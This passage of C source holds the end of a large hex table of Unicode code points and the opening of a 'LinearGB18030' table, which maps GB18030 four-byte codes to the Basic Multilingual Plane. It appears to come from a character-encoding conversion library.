0x916F, 0x917D, 0x917E, 0x9172, 0x9174, 0x9179, 0x918C, 0x9185, 0x9190,
0x918D, 0x9191, 0x91A2, 0x91A3, 0x91AA, 0x91AD, 0x91AE, 0x91AF, 0x91B5,
0x91B4, 0x91BA, 0x8C55, 0x9E7E, 0x8DB8, 0x8DEB, 0x8E05, 0x8E59, 0x8E69,
0x8DB5, 0x8DBF, 0x8DBC, 0x8DBA, 0x8DC4, 0x8DD6, 0x8DD7, 0x8DDA, 0x8DDE,
0x8DCE, 0x8DCF, 0x8DDB, 0x8DC6, 0x8DEC, 0x8DF7, 0x8DF8, 0x8DE3, 0x8DF9,
0x8DFB, 0x8DE4, 0x8E09, 0x8DFD, 0x8E14, 0x8E1D, 0x8E1F, 0x8E2C, 0x8E2E,
0x8E23, 0x8E2F, 0x8E3A, 0x8E40, 0x8E39, 0x8E35, 0x8E3D, 0x8E31, 0x8E49,
0x8E41, 0x8E42, 0x8E51, 0x8E52, 0x8E4A, 0x8E70, 0x8E76, 0x8E7C, 0x8E6F,
0x8E74, 0x8E85, 0x8E8F, 0x8E94, 0x8E90, 0x8E9C, 0x8E9E, 0x8C78, 0x8C82,
0x8C8A, 0x8C85, 0x8C98, 0x8C94, 0x659B, 0x89D6, 0x89DE, 0x89DA, 0x89DC,
0x9BDC, 0x9BDD, 0x9BDE, 0x9BDF, 0x9BE0, 0x9BE1, 0x9BE2, 0x9BE3, 0x9BE4,
0x9BE5, 0x9BE6, 0x9BE7, 0x9BE8, 0x9BE9, 0x9BEA, 0x9BEB, 0x9BEC, 0x9BED,
0x9BEE, 0x9BEF, 0x9BF0, 0x9BF1, 0x9BF2, 0x9BF3, 0x9BF4, 0x9BF5, 0x9BF6,
0x9BF7, 0x9BF8, 0x9BF9, 0x9BFA, 0x9BFB, 0x9BFC, 0x9BFD, 0x9BFE, 0x9BFF,
0x9C00, 0x9C01, 0x9C02, 0x9C03, 0x9C04, 0x9C05, 0x9C06, 0x9C07, 0x9C08,
0x9C09, 0x9C0A, 0x9C0B, 0x9C0C, 0x9C0D, 0x9C0E, 0x9C0F, 0x9C10, 0x9C11,
0x9C12, 0x9C13, 0x9C14, 0x9C15, 0x9C16, 0x9C17, 0x9C18, 0x9C19, 0x9C1A,
0x9C1B, 0x9C1C, 0x9C1D, 0x9C1E, 0x9C1F, 0x9C20, 0x9C21, 0x9C22, 0x9C23,
0x9C24, 0x9C25, 0x9C26, 0x9C27, 0x9C28, 0x9C29, 0x9C2A, 0x9C2B, 0x9C2C,
0x9C2D, 0x9C2E, 0x9C2F, 0x9C30, 0x9C31, 0x9C32, 0x9C33, 0x9C34, 0x9C35,
0x9C36, 0x9C37, 0x9C38, 0x9C39, 0x9C3A, 0x9C3B, 0x89E5, 0x89EB, 0x89EF,
0x8A3E, 0x8B26, 0x9753, 0x96E9, 0x96F3, 0x96EF, 0x9706, 0x9701, 0x9708,
0x970F, 0x970E, 0x972A, 0x972D, 0x9730, 0x973E, 0x9F80, 0x9F83, 0x9F85,
0x9F86, 0x9F87, 0x9F88, 0x9F89, 0x9F8A, 0x9F8C, 0x9EFE, 0x9F0B, 0x9F0D,
0x96B9, 0x96BC, 0x96BD, 0x96CE, 0x96D2, 0x77BF, 0x96E0, 0x928E, 0x92AE,
0x92C8, 0x933E, 0x936A, 0x93CA, 0x938F, 0x943E, 0x946B, 0x9C7F, 0x9C82,
0x9C85, 0x9C86, 0x9C87, 0x9C88, 0x7A23, 0x9C8B, 0x9C8E, 0x9C90, 0x9C91,
0x9C92, 0x9C94, 0x9C95, 0x9C9A, 0x9C9B, 0x9C9E, 0x9C9F, 0x9CA0, 0x9CA1,
0x9CA2, 0x9CA3, 0x9CA5, 0x9CA6, 0x9CA7, 0x9CA8, 0x9CA9, 0x9CAB, 0x9CAD,
0x9CAE, 0x9CB0, 0x9CB1, 0x9CB2, 0x9CB3, 0x9CB4, 0x9CB5, 0x9CB6, 0x9CB7,
0x9CBA, 0x9CBB, 0x9CBC, 0x9CBD, 0x9CC4, 0x9CC5, 0x9CC6, 0x9CC7, 0x9CCA,
0x9CCB, 0x9C3C, 0x9C3D, 0x9C3E, 0x9C3F, 0x9C40, 0x9C41, 0x9C42, 0x9C43,
0x9C44, 0x9C45, 0x9C46, 0x9C47, 0x9C48, 0x9C49, 0x9C4A, 0x9C4B, 0x9C4C,
0x9C4D, 0x9C4E, 0x9C4F, 0x9C50, 0x9C51, 0x9C52, 0x9C53, 0x9C54, 0x9C55,
0x9C56, 0x9C57, 0x9C58, 0x9C59, 0x9C5A, 0x9C5B, 0x9C5C, 0x9C5D, 0x9C5E,
0x9C5F, 0x9C60, 0x9C61, 0x9C62, 0x9C63, 0x9C64, 0x9C65, 0x9C66, 0x9C67,
0x9C68, 0x9C69, 0x9C6A, 0x9C6B, 0x9C6C, 0x9C6D, 0x9C6E, 0x9C6F, 0x9C70,
0x9C71, 0x9C72, 0x9C73, 0x9C74, 0x9C75, 0x9C76, 0x9C77, 0x9C78, 0x9C79,
0x9C7A, 0x9C7B, 0x9C7D, 0x9C7E, 0x9C80, 0x9C83, 0x9C84, 0x9C89, 0x9C8A,
0x9C8C, 0x9C8F, 0x9C93, 0x9C96, 0x9C97, 0x9C98, 0x9C99, 0x9C9D, 0x9CAA,
0x9CAC, 0x9CAF, 0x9CB9, 0x9CBE, 0x9CBF, 0x9CC0, 0x9CC1, 0x9CC2, 0x9CC8,
0x9CC9, 0x9CD1, 0x9CD2, 0x9CDA, 0x9CDB, 0x9CE0, 0x9CE1, 0x9CCC, 0x9CCD,
0x9CCE, 0x9CCF, 0x9CD0, 0x9CD3, 0x9CD4, 0x9CD5, 0x9CD7, 0x9CD8, 0x9CD9,
0x9CDC, 0x9CDD, 0x9CDF, 0x9CE2, 0x977C, 0x9785, 0x9791, 0x9792, 0x9794,
0x97AF, 0x97AB, 0x97A3, 0x97B2, 0x97B4, 0x9AB1, 0x9AB0, 0x9AB7, 0x9E58,
0x9AB6, 0x9ABA, 0x9ABC, 0x9AC1, 0x9AC0, 0x9AC5, 0x9AC2, 0x9ACB, 0x9ACC,
0x9AD1, 0x9B45, 0x9B43, 0x9B47, 0x9B49, 0x9B48, 0x9B4D, 0x9B51, 0x98E8,
0x990D, 0x992E, 0x9955, 0x9954, 0x9ADF, 0x9AE1, 0x9AE6, 0x9AEF, 0x9AEB,
0x9AFB, 0x9AED, 0x9AF9, 0x9B08, 0x9B0F, 0x9B13, 0x9B1F, 0x9B23, 0x9EBD,
0x9EBE, 0x7E3B, 0x9E82, 0x9E87, 0x9E88, 0x9E8B, 0x9E92, 0x93D6, 0x9E9D,
0x9E9F, 0x9EDB, 0x9EDC, 0x9EDD, 0x9EE0, 0x9EDF, 0x9EE2, 0x9EE9, 0x9EE7,
0x9EE5, 0x9EEA, 0x9EEF, 0x9F22, 0x9F2C, 0x9F2F, 0x9F39, 0x9F37, 0x9F3D,
0x9F3E, 0x9F44, 0x9CE3, 0x9CE4, 0x9CE5, 0x9CE6, 0x9CE7, 0x9CE8, 0x9CE9,
0x9CEA, 0x9CEB, 0x9CEC, 0x9CED, 0x9CEE, 0x9CEF, 0x9CF0, 0x9CF1, 0x9CF2,
0x9CF3, 0x9CF4, 0x9CF5, 0x9CF6, 0x9CF7, 0x9CF8, 0x9CF9, 0x9CFA, 0x9CFB,
0x9CFC, 0x9CFD, 0x9CFE, 0x9CFF, 0x9D00, 0x9D01, 0x9D02, 0x9D03, 0x9D04,
0x9D05, 0x9D06, 0x9D07, 0x9D08, 0x9D09, 0x9D0A, 0x9D0B, 0x9D0C, 0x9D0D,
0x9D0E, 0x9D0F, 0x9D10, 0x9D11, 0x9D12, 0x9D13, 0x9D14, 0x9D15, 0x9D16,
0x9D17, 0x9D18, 0x9D19, 0x9D1A, 0x9D1B, 0x9D1C, 0x9D1D, 0x9D1E, 0x9D1F,
0x9D20, 0x9D21, 0x9D22, 0x9D23, 0x9D24, 0x9D25, 0x9D26, 0x9D27, 0x9D28,
0x9D29, 0x9D2A, 0x9D2B, 0x9D2C, 0x9D2D, 0x9D2E, 0x9D2F, 0x9D30, 0x9D31,
0x9D32, 0x9D33, 0x9D34, 0x9D35, 0x9D36, 0x9D37, 0x9D38, 0x9D39, 0x9D3A,
0x9D3B, 0x9D3C, 0x9D3D, 0x9D3E, 0x9D3F, 0x9D40, 0x9D41, 0x9D42, 0xE234,
0xE235, 0xE236, 0xE237, 0xE238, 0xE239, 0xE23A, 0xE23B, 0xE23C, 0xE23D,
0xE23E, 0xE23F, 0xE240, 0xE241, 0xE242, 0xE243, 0xE244, 0xE245, 0xE246,
0xE247, 0xE248, 0xE249, 0xE24A, 0xE24B, 0xE24C, 0xE24D, 0xE24E, 0xE24F,
0xE250, 0xE251, 0xE252, 0xE253, 0xE254, 0xE255, 0xE256, 0xE257, 0xE258,
0xE259, 0xE25A, 0xE25B, 0xE25C, 0xE25D, 0xE25E, 0xE25F, 0xE260, 0xE261,
0xE262, 0xE263, 0xE264, 0xE265, 0xE266, 0xE267, 0xE268, 0xE269, 0xE26A,
0xE26B, 0xE26C, 0xE26D, 0xE26E, 0xE26F, 0xE270, 0xE271, 0xE272, 0xE273,
0xE274, 0xE275, 0xE276, 0xE277, 0xE278, 0xE279, 0xE27A, 0xE27B, 0xE27C,
0xE27D, 0xE27E, 0xE27F, 0xE280, 0xE281, 0xE282, 0xE283, 0xE284, 0xE285,
0xE286, 0xE287, 0xE288, 0xE289, 0xE28A, 0xE28B, 0xE28C, 0xE28D, 0xE28E,
0xE28F, 0xE290, 0xE291, 0x9D43, 0x9D44, 0x9D45, 0x9D46, 0x9D47, 0x9D48,
0x9D49, 0x9D4A, 0x9D4B, 0x9D4C, 0x9D4D, 0x9D4E, 0x9D4F, 0x9D50, 0x9D51,
0x9D52, 0x9D53, 0x9D54, 0x9D55, 0x9D56, 0x9D57, 0x9D58, 0x9D59, 0x9D5A,
0x9D5B, 0x9D5C, 0x9D5D, 0x9D5E, 0x9D5F, 0x9D60, 0x9D61, 0x9D62, 0x9D63,
0x9D64, 0x9D65, 0x9D66, 0x9D67, 0x9D68, 0x9D69, 0x9D6A, 0x9D6B, 0x9D6C,
0x9D6D, 0x9D6E, 0x9D6F, 0x9D70, 0x9D71, 0x9D72, 0x9D73, 0x9D74, 0x9D75,
0x9D76, 0x9D77, 0x9D78, 0x9D79, 0x9D7A, 0x9D7B, 0x9D7C, 0x9D7D, 0x9D7E,
0x9D7F, 0x9D80, 0x9D81, 0x9D82, 0x9D83, 0x9D84, 0x9D85, 0x9D86, 0x9D87,
0x9D88, 0x9D89, 0x9D8A, 0x9D8B, 0x9D8C, 0x9D8D, 0x9D8E, 0x9D8F, 0x9D90,
0x9D91, 0x9D92, 0x9D93, 0x9D94, 0x9D95, 0x9D96, 0x9D97, 0x9D98, 0x9D99,
0x9D9A, 0x9D9B, 0x9D9C, 0x9D9D, 0x9D9E, 0x9D9F, 0x9DA0, 0x9DA1, 0x9DA2,
0xE292, 0xE293, 0xE294, 0xE295, 0xE296, 0xE297, 0xE298, 0xE299, 0xE29A,
0xE29B, 0xE29C, 0xE29D, 0xE29E, 0xE29F, 0xE2A0, 0xE2A1, 0xE2A2, 0xE2A3,
0xE2A4, 0xE2A5, 0xE2A6, 0xE2A7, 0xE2A8, 0xE2A9, 0xE2AA, 0xE2AB, 0xE2AC,
0xE2AD, 0xE2AE, 0xE2AF, 0xE2B0, 0xE2B1, 0xE2B2, 0xE2B3, 0xE2B4, 0xE2B5,
0xE2B6, 0xE2B7, 0xE2B8, 0xE2B9, 0xE2BA, 0xE2BB, 0xE2BC, 0xE2BD, 0xE2BE,
0xE2BF, 0xE2C0, 0xE2C1, 0xE2C2, 0xE2C3, 0xE2C4, 0xE2C5, 0xE2C6, 0xE2C7,
0xE2C8, 0xE2C9, 0xE2CA, 0xE2CB, 0xE2CC, 0xE2CD, 0xE2CE, 0xE2CF, 0xE2D0,
0xE2D1, 0xE2D2, 0xE2D3, 0xE2D4, 0xE2D5, 0xE2D6, 0xE2D7, 0xE2D8, 0xE2D9,
0xE2DA, 0xE2DB, 0xE2DC, 0xE2DD, 0xE2DE, 0xE2DF, 0xE2E0, 0xE2E1, 0xE2E2,
0xE2E3, 0xE2E4, 0xE2E5, 0xE2E6, 0xE2E7, 0xE2E8, 0xE2E9, 0xE2EA, 0xE2EB,
0xE2EC, 0xE2ED, 0xE2EE, 0xE2EF, 0x9DA3, 0x9DA4, 0x9DA5, 0x9DA6, 0x9DA7,
0x9DA8, 0x9DA9, 0x9DAA, 0x9DAB, 0x9DAC, 0x9DAD, 0x9DAE, 0x9DAF, 0x9DB0,
0x9DB1, 0x9DB2, 0x9DB3, 0x9DB4, 0x9DB5, 0x9DB6, 0x9DB7, 0x9DB8, 0x9DB9,
0x9DBA, 0x9DBB, 0x9DBC, 0x9DBD, 0x9DBE, 0x9DBF, 0x9DC0, 0x9DC1, 0x9DC2,
0x9DC3, 0x9DC4, 0x9DC5, 0x9DC6, 0x9DC7, 0x9DC8, 0x9DC9, 0x9DCA, 0x9DCB,
0x9DCC, 0x9DCD, 0x9DCE, 0x9DCF, 0x9DD0, 0x9DD1, 0x9DD2, 0x9DD3, 0x9DD4,
0x9DD5, 0x9DD6, 0x9DD7, 0x9DD8, 0x9DD9, 0x9DDA, 0x9DDB, 0x9DDC, 0x9DDD,
0x9DDE, 0x9DDF, 0x9DE0, 0x9DE1, 0x9DE2, 0x9DE3, 0x9DE4, 0x9DE5, 0x9DE6,
0x9DE7, 0x9DE8, 0x9DE9, 0x9DEA, 0x9DEB, 0x9DEC, 0x9DED, 0x9DEE, 0x9DEF,
0x9DF0, 0x9DF1, 0x9DF2, 0x9DF3, 0x9DF4, 0x9DF5, 0x9DF6, 0x9DF7, 0x9DF8,
0x9DF9, 0x9DFA, 0x9DFB, 0x9DFC, 0x9DFD, 0x9DFE, 0x9DFF, 0x9E00, 0x9E01,
0x9E02, 0xE2F0, 0xE2F1, 0xE2F2, 0xE2F3, 0xE2F4, 0xE2F5, 0xE2F6, 0xE2F7,
0xE2F8, 0xE2F9, 0xE2FA, 0xE2FB, 0xE2FC, 0xE2FD, 0xE2FE, 0xE2FF, 0xE300,
0xE301, 0xE302, 0xE303, 0xE304, 0xE305, 0xE306, 0xE307, 0xE308, 0xE309,
0xE30A, 0xE30B, 0xE30C, 0xE30D, 0xE30E, 0xE30F, 0xE310, 0xE311, 0xE312,
0xE313, 0xE314, 0xE315, 0xE316, 0xE317, 0xE318, 0xE319, 0xE31A, 0xE31B,
0xE31C, 0xE31D, 0xE31E, 0xE31F, 0xE320, 0xE321, 0xE322, 0xE323, 0xE324,
0xE325, 0xE326, 0xE327, 0xE328, 0xE329, 0xE32A, 0xE32B, 0xE32C, 0xE32D,
0xE32E, 0xE32F, 0xE330, 0xE331, 0xE332, 0xE333, 0xE334, 0xE335, 0xE336,
0xE337, 0xE338, 0xE339, 0xE33A, 0xE33B, 0xE33C, 0xE33D, 0xE33E, 0xE33F,
0xE340, 0xE341, 0xE342, 0xE343, 0xE344, 0xE345, 0xE346, 0xE347, 0xE348,
0xE349, 0xE34A, 0xE34B, 0xE34C, 0xE34D, 0x9E03, 0x9E04, 0x9E05, 0x9E06,
0x9E07, 0x9E08, 0x9E09, 0x9E0A, 0x9E0B, 0x9E0C, 0x9E0D, 0x9E0E, 0x9E0F,
0x9E10, 0x9E11, 0x9E12, 0x9E13, 0x9E14, 0x9E15, 0x9E16, 0x9E17, 0x9E18,
0x9E19, 0x9E1A, 0x9E1B, 0x9E1C, 0x9E1D, 0x9E1E, 0x9E24, 0x9E27, 0x9E2E,
0x9E30, 0x9E34, 0x9E3B, 0x9E3C, 0x9E40, 0x9E4D, 0x9E50, 0x9E52, 0x9E53,
0x9E54, 0x9E56, 0x9E59, 0x9E5D, 0x9E5F, 0x9E60, 0x9E61, 0x9E62, 0x9E65,
0x9E6E, 0x9E6F, 0x9E72, 0x9E74, 0x9E75, 0x9E76, 0x9E77, 0x9E78, 0x9E79,
0x9E7A, 0x9E7B, 0x9E7C, 0x9E7D, 0x9E80, 0x9E81, 0x9E83, 0x9E84, 0x9E85,
0x9E86, 0x9E89, 0x9E8A, 0x9E8C, 0x9E8D, 0x9E8E, 0x9E8F, 0x9E90, 0x9E91,
0x9E94, 0x9E95, 0x9E96, 0x9E97, 0x9E98, 0x9E99, 0x9E9A, 0x9E9B, 0x9E9C,
0x9E9E, 0x9EA0, 0x9EA1, 0x9EA2, 0x9EA3, 0x9EA4, 0x9EA5, 0x9EA7, 0x9EA8,
0x9EA9, 0x9EAA, 0xE34E, 0xE34F, 0xE350, 0xE351, 0xE352, 0xE353, 0xE354,
0xE355, 0xE356, 0xE357, 0xE358, 0xE359, 0xE35A, 0xE35B, 0xE35C, 0xE35D,
0xE35E, 0xE35F, 0xE360, 0xE361, 0xE362, 0xE363, 0xE364, 0xE365, 0xE366,
0xE367, 0xE368, 0xE369, 0xE36A, 0xE36B, 0xE36C, 0xE36D, 0xE36E, 0xE36F,
0xE370, 0xE371, 0xE372, 0xE373, 0xE374, 0xE375, 0xE376, 0xE377, 0xE378,
0xE379, 0xE37A, 0xE37B, 0xE37C, 0xE37D, 0xE37E, 0xE37F, 0xE380, 0xE381,
0xE382, 0xE383, 0xE384, 0xE385, 0xE386, 0xE387, 0xE388, 0xE389, 0xE38A,
0xE38B, 0xE38C, 0xE38D, 0xE38E, 0xE38F, 0xE390, 0xE391, 0xE392, 0xE393,
0xE394, 0xE395, 0xE396, 0xE397, 0xE398, 0xE399, 0xE39A, 0xE39B, 0xE39C,
0xE39D, 0xE39E, 0xE39F, 0xE3A0, 0xE3A1, 0xE3A2, 0xE3A3, 0xE3A4, 0xE3A5,
0xE3A6, 0xE3A7, 0xE3A8, 0xE3A9, 0xE3AA, 0xE3AB, 0x9EAB, 0x9EAC, 0x9EAD,
0x9EAE, 0x9EAF, 0x9EB0, 0x9EB1, 0x9EB2, 0x9EB3, 0x9EB5, 0x9EB6, 0x9EB7,
0x9EB9, 0x9EBA, 0x9EBC, 0x9EBF, 0x9EC0, 0x9EC1, 0x9EC2, 0x9EC3, 0x9EC5,
0x9EC6, 0x9EC7, 0x9EC8, 0x9ECA, 0x9ECB, 0x9ECC, 0x9ED0, 0x9ED2, 0x9ED3,
0x9ED5, 0x9ED6, 0x9ED7, 0x9ED9, 0x9EDA, 0x9EDE, 0x9EE1, 0x9EE3, 0x9EE4,
0x9EE6, 0x9EE8, 0x9EEB, 0x9EEC, 0x9EED, 0x9EEE, 0x9EF0, 0x9EF1, 0x9EF2,
0x9EF3, 0x9EF4, 0x9EF5, 0x9EF6, 0x9EF7, 0x9EF8, 0x9EFA, 0x9EFD, 0x9EFF,
0x9F00, 0x9F01, 0x9F02, 0x9F03, 0x9F04, 0x9F05, 0x9F06, 0x9F07, 0x9F08,
0x9F09, 0x9F0A, 0x9F0C, 0x9F0F, 0x9F11, 0x9F12, 0x9F14, 0x9F15, 0x9F16,
0x9F18, 0x9F1A, 0x9F1B, 0x9F1C, 0x9F1D, 0x9F1E, 0x9F1F, 0x9F21, 0x9F23,
0x9F24, 0x9F25, 0x9F26, 0x9F27, 0x9F28, 0x9F29, 0x9F2A, 0x9F2B, 0x9F2D,
0x9F2E, 0x9F30, 0x9F31, 0xE3AC, 0xE3AD, 0xE3AE, 0xE3AF, 0xE3B0, 0xE3B1,
0xE3B2, 0xE3B3, 0xE3B4, 0xE3B5, 0xE3B6, 0xE3B7, 0xE3B8, 0xE3B9, 0xE3BA,
0xE3BB, 0xE3BC, 0xE3BD, 0xE3BE, 0xE3BF, 0xE3C0, 0xE3C1, 0xE3C2, 0xE3C3,
0xE3C4, 0xE3C5, 0xE3C6, 0xE3C7, 0xE3C8, 0xE3C9, 0xE3CA, 0xE3CB, 0xE3CC,
0xE3CD, 0xE3CE, 0xE3CF, 0xE3D0, 0xE3D1, 0xE3D2, 0xE3D3, 0xE3D4, 0xE3D5,
0xE3D6, 0xE3D7, 0xE3D8, 0xE3D9, 0xE3DA, 0xE3DB, 0xE3DC, 0xE3DD, 0xE3DE,
0xE3DF, 0xE3E0, 0xE3E1, 0xE3E2, 0xE3E3, 0xE3E4, 0xE3E5, 0xE3E6, 0xE3E7,
0xE3E8, 0xE3E9, 0xE3EA, 0xE3EB, 0xE3EC, 0xE3ED, 0xE3EE, 0xE3EF, 0xE3F0,
0xE3F1, 0xE3F2, 0xE3F3, 0xE3F4, 0xE3F5, 0xE3F6, 0xE3F7, 0xE3F8, 0xE3F9,
0xE3FA, 0xE3FB, 0xE3FC, 0xE3FD, 0xE3FE, 0xE3FF, 0xE400, 0xE401, 0xE402,
0xE403, 0xE404, 0xE405, 0xE406, 0xE407, 0xE408, 0xE409, 0x9F32, 0x9F33,
0x9F34, 0x9F35, 0x9F36, 0x9F38, 0x9F3A, 0x9F3C, 0x9F3F, 0x9F40, 0x9F41,
0x9F42, 0x9F43, 0x9F45, 0x9F46, 0x9F47, 0x9F48, 0x9F49, 0x9F4A, 0x9F4B,
0x9F4C, 0x9F4D, 0x9F4E, 0x9F4F, 0x9F52, 0x9F53, 0x9F54, 0x9F55, 0x9F56,
0x9F57, 0x9F58, 0x9F59, 0x9F5A, 0x9F5B, 0x9F5C, 0x9F5D, 0x9F5E, 0x9F5F,
0x9F60, 0x9F61, 0x9F62, 0x9F63, 0x9F64, 0x9F65, 0x9F66, 0x9F67, 0x9F68,
0x9F69, 0x9F6A, 0x9F6B, 0x9F6C, 0x9F6D, 0x9F6E, 0x9F6F, 0x9F70, 0x9F71,
0x9F72, 0x9F73, 0x9F74, 0x9F75, 0x9F76, 0x9F77, 0x9F78, 0x9F79, 0x9F7A,
0x9F7B, 0x9F7C, 0x9F7D, 0x9F7E, 0x9F81, 0x9F82, 0x9F8D, 0x9F8E, 0x9F8F,
0x9F90, 0x9F91, 0x9F92, 0x9F93, 0x9F94, 0x9F95, 0x9F96, 0x9F97, 0x9F98,
0x9F9C, 0x9F9D, 0x9F9E, 0x9FA1, 0x9FA2, 0x9FA3, 0x9FA4, 0x9FA5, 0xF92C,
0xF979, 0xF995, 0xF9E7, 0xF9F1, 0xE40A, 0xE40B, 0xE40C, 0xE40D, 0xE40E,
0xE40F, 0xE410, 0xE411, 0xE412, 0xE413, 0xE414, 0xE415, 0xE416, 0xE417,
0xE418, 0xE419, 0xE41A, 0xE41B, 0xE41C, 0xE41D, 0xE41E, 0xE41F, 0xE420,
0xE421, 0xE422, 0xE423, 0xE424, 0xE425, 0xE426, 0xE427, 0xE428, 0xE429,
0xE42A, 0xE42B, 0xE42C, 0xE42D, 0xE42E, 0xE42F, 0xE430, 0xE431, 0xE432,
0xE433, 0xE434, 0xE435, 0xE436, 0xE437, 0xE438, 0xE439, 0xE43A, 0xE43B,
0xE43C, 0xE43D, 0xE43E, 0xE43F, 0xE440, 0xE441, 0xE442, 0xE443, 0xE444,
0xE445, 0xE446, 0xE447, 0xE448, 0xE449, 0xE44A, 0xE44B, 0xE44C, 0xE44D,
0xE44E, 0xE44F, 0xE450, 0xE451, 0xE452, 0xE453, 0xE454, 0xE455, 0xE456,
0xE457, 0xE458, 0xE459, 0xE45A, 0xE45B, 0xE45C, 0xE45D, 0xE45E, 0xE45F,
0xE460, 0xE461, 0xE462, 0xE463, 0xE464, 0xE465, 0xE466, 0xE467, 0xFA0C,
0xFA0D, 0xFA0E, 0xFA0F, 0xFA11, 0xFA13, 0xFA14, 0xFA18, 0xFA1F, 0xFA20,
0xFA21, 0xFA23, 0xFA24, 0xFA27, 0xFA28, 0xFA29, 0x2E81, 0xE816, 0xE817,
0xE818, 0x2E84, 0x3473, 0x3447, 0x2E88, 0x2E8B, 0xE81E, 0x359E, 0x361A,
0x360E, 0x2E8C, 0x2E97, 0x396E, 0x3918, 0xE826, 0x39CF, 0x39DF, 0x3A73,
0x39D0, 0xE82B, 0xE82C, 0x3B4E, 0x3C6E, 0x3CE0, 0x2EA7, 0xE831, 0xE832,
0x2EAA, 0x4056, 0x415F, 0x2EAE, 0x4337, 0x2EB3, 0x2EB6, 0x2EB7, 0xE83B,
0x43B1, 0x43AC, 0x2EBB, 0x43DD, 0x44D6, 0x4661, 0x464C, 0xE843, 0x4723,
0x4729, 0x477C, 0x478D, 0x2ECA, 0x4947, 0x497A, 0x497D, 0x4982, 0x4983,
0x4985, 0x4986, 0x499F, 0x499B, 0x49B7, 0x49B6, 0xE854, 0xE855, 0x4CA3,
0x4C9F, 0x4CA0, 0x4CA1, 0x4C77, 0x4CA2, 0x4D13, 0x4D14, 0x4D15, 0x4D16,
0x4D17, 0x4D18, 0x4D19, 0x4DAE, 0xE864, 0xE468, 0xE469, 0xE46A, 0xE46B,
0xE46C, 0xE46D, 0xE46E, 0xE46F, 0xE470, 0xE471, 0xE472, 0xE473, 0xE474,
0xE475, 0xE476, 0xE477, 0xE478, 0xE479, 0xE47A, 0xE47B, 0xE47C, 0xE47D,
0xE47E, 0xE47F, 0xE480, 0xE481, 0xE482, 0xE483, 0xE484, 0xE485, 0xE486,
0xE487, 0xE488, 0xE489, 0xE48A, 0xE48B, 0xE48C, 0xE48D, 0xE48E, 0xE48F,
0xE490, 0xE491, 0xE492, 0xE493, 0xE494, 0xE495, 0xE496, 0xE497, 0xE498,
0xE499, 0xE49A, 0xE49B, 0xE49C, 0xE49D, 0xE49E, 0xE49F, 0xE4A0, 0xE4A1,
0xE4A2, 0xE4A3, 0xE4A4, 0xE4A5, 0xE4A6, 0xE4A7, 0xE4A8, 0xE4A9, 0xE4AA,
0xE4AB, 0xE4AC, 0xE4AD, 0xE4AE, 0xE4AF, 0xE4B0, 0xE4B1, 0xE4B2, 0xE4B3,
0xE4B4, 0xE4B5, 0xE4B6, 0xE4B7, 0xE4B8, 0xE4B9, 0xE4BA, 0xE4BB, 0xE4BC,
0xE4BD, 0xE4BE, 0xE4BF, 0xE4C0, 0xE4C1, 0xE4C2, 0xE4C3, 0xE4C4, 0xE4C5
};
// Linear table for gb18030 four-byte codes that map to the BMP.
const unsigned short LinearGB18030[412] = {
0x0000, 0x0080, 0x0024, 0x00A5, 0x0026, 0x00A9, 0x002D, 0x00B2,
0x0032, 0x00B8, 0x0051, 0x00D8, 0x0059, 0x00E2, 0x005F, 0x00EB,
0x0060, 0x00EE, 0x0064, 0x00F4, 0x0067, 0x00F8, 0x0068, 0x00FB,
0x0069, 0x00FD, 0x006D, 0x0102, 0x007E, 0x0114, 0x0085, 0x011C,
0x0094, 0x012C, 0x00AC, 0x0145, 0x00AF, 0x0149, 0x00B3, 0x014E,
0x00D0, 0x016C, 0x0132, 0x01CF, 0x0133, 0x01D1, 0x0134, 0x01D3,
0x0135, 0x01D5, 0x0136, 0x01D7, 0x0137, 0x01D9, 0x0138, 0x01DB,
0x0139, 0x01DD, 0x0155, 0x01FA, 0x01AC, 0x0252, 0x01BB, 0x0262,
0x0220, 0x02C8, 0x0221, 0x02CC, 0x022E, 0x02DA, 0x02E5, 0x03A2,
0x02E6, 0x03AA, 0x02ED, 0x03C2, 0x02EE, 0x03CA, 0x0325, 0x0402,
0x0333, 0x0450, 0x0334, 0x0452, 0x1EF2, 0x2011, 0x1EF4, 0x2017,
0x1EF5, 0x201A, 0x1EF7, 0x201E, 0x1EFE, 0x2027, 0x1F07, 0x2031,
0x1F08, 0x2034, 0x1F09, 0x2036, 0x1F0E, 0x203C, 0x1F7E, 0x20AD,
0x1FD4, 0x2104, 0x1FD5, 0x2106, 0x1FD8, 0x210A, 0x1FE4, 0x2117,
0x1FEE, 0x2122, 0x202C, 0x216C, 0x2030, 0x217A, 0x2046, 0x2194,
0x2048, 0x219A, 0x20B6, 0x2209, 0x20BC, 0x2210, 0x20BD, 0x2212,
0x20C0, 0x2216, 0x20C4, 0x221B, 0x20C6, 0x2221, 0x20C8, 0x2224,
0x20C9, 0x2226, 0x20CA, 0x222C, 0x20CC, 0x222F, 0x20D1, 0x2238,
0x20D6, 0x223E, 0x20E0, 0x2249, 0x20E3, 0x224D, 0x20E8, 0x2253,
0x20F5, 0x2262, 0x20F7, 0x2268, 0x20FD, 0x2270, 0x2122, 0x2296,
0x2125, 0x229A, 0x2130, 0x22A6, 0x2149, 0x22C0, 0x219B, 0x2313,
0x22E8, 0x246A, 0x22F2, 0x249C, 0x2356, 0x254C, 0x235A, 0x2574,
0x2367, 0x2590, 0x236A, 0x2596, 0x2374, 0x25A2, 0x2384, 0x25B4,
0x238C, 0x25BE, 0x2394, 0x25C8, 0x2397, 0x25CC, 0x2399, 0x25D0,
0x23AB, 0x25E6, 0x23CA, 0x2607, 0x23CC, 0x260A, 0x2402, 0x2641,
0x2403, 0x2643, 0x2C41, 0x2E82, 0x2C43, 0x2E85, 0x2C46, 0x2E89,
0x2C48, 0x2E8D, 0x2C52, 0x2E98, 0x2C61, 0x2EA8, 0x2C63, 0x2EAB,
0x2C66, 0x2EAF, 0x2C6A, 0x2EB4, 0x2C6C, 0x2EB8, 0x2C6F, 0x2EBC,
0x2C7D, 0x2ECB, 0x2DA2, 0x2FFC, 0x2DA6, 0x3004, 0x2DA7, 0x3018,
0x2DAC, 0x301F, 0x2DAE, 0x302A, 0x2DC2, 0x303F, 0x2DC4, 0x3094,
0x2DCB, 0x309F, 0x2DCD, 0x30F7, 0x2DD2, 0x30FF, 0x2DD8, 0x312A,
0x2ECE, 0x322A, 0x2ED5, 0x3232, 0x2F46, 0x32A4, 0x3030, 0x3390,
0x303C, 0x339F, 0x303E, 0x33A2, 0x3060, 0x33C5, 0x3069, 0x33CF,
0x306B, 0x33D3, 0x306D, 0x33D6, 0x30DE, 0x3448, 0x3109, 0x3474,
0x3233, 0x359F, 0x32A2, 0x360F, 0x32AD, 0x361B, 0x35AA, 0x3919,
